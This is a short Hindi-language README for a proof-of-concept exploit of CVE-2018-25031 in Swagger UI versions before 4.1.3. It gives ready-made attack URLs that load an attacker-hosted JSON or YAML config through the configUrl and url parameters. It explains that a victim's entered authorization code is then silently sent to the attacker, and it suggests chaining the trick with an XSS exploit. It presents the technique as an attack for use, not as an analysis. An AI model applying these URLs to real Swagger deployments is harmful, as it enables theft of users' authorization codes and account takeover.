CVE-2018-25031 - Swagger UI 4.1.3 से पहले

एक सरल POC (CVE-2018-25031) जो पीड़ित को प्राधिकरण कोड दर्ज करने के लिए धोखा देता है, जो फिर हमलावर को भेज दिया जाता है।
आप इसे XSS भेद्यता के साथ उपयोग कर सकते हैं https://github.com/VictorNS69/swagger-ui-xss

पैरामीटर ढूंढना और सही फ़ाइल निर्दिष्ट करना आवश्यक है: configUrl के लिए JSON फ़ाइल, और url के लिए YAML फ़ाइल।

उदाहरण:

https://<URL>/?configUrl=https://raw.githubusercontent.com/geozin/POC-CVE-2018-25031/main/doc.json
https://<URL>/?url=https://raw.githubusercontent.com/geozin/POC-CVE-2018-25031/main/doc.yaml

स्क्रीनशॉट:

जब पीड़ित प्राधिकरण कोड दर्ज करके API का उपयोग करने का प्रयास करता है और Execute पर क्लिक करता है, तो उन्हें कुछ भी प्रदर्शित नहीं होगा। हालांकि, प्राधिकरण कोड के साथ एक अनुरोध हमलावर के URL पर भेज दिया जाएगा।

संदर्भ:

https://nvd.nist.gov/vuln/detail/CVE-2018-25031
https://github.com/mathis2001/CVE-2018-25031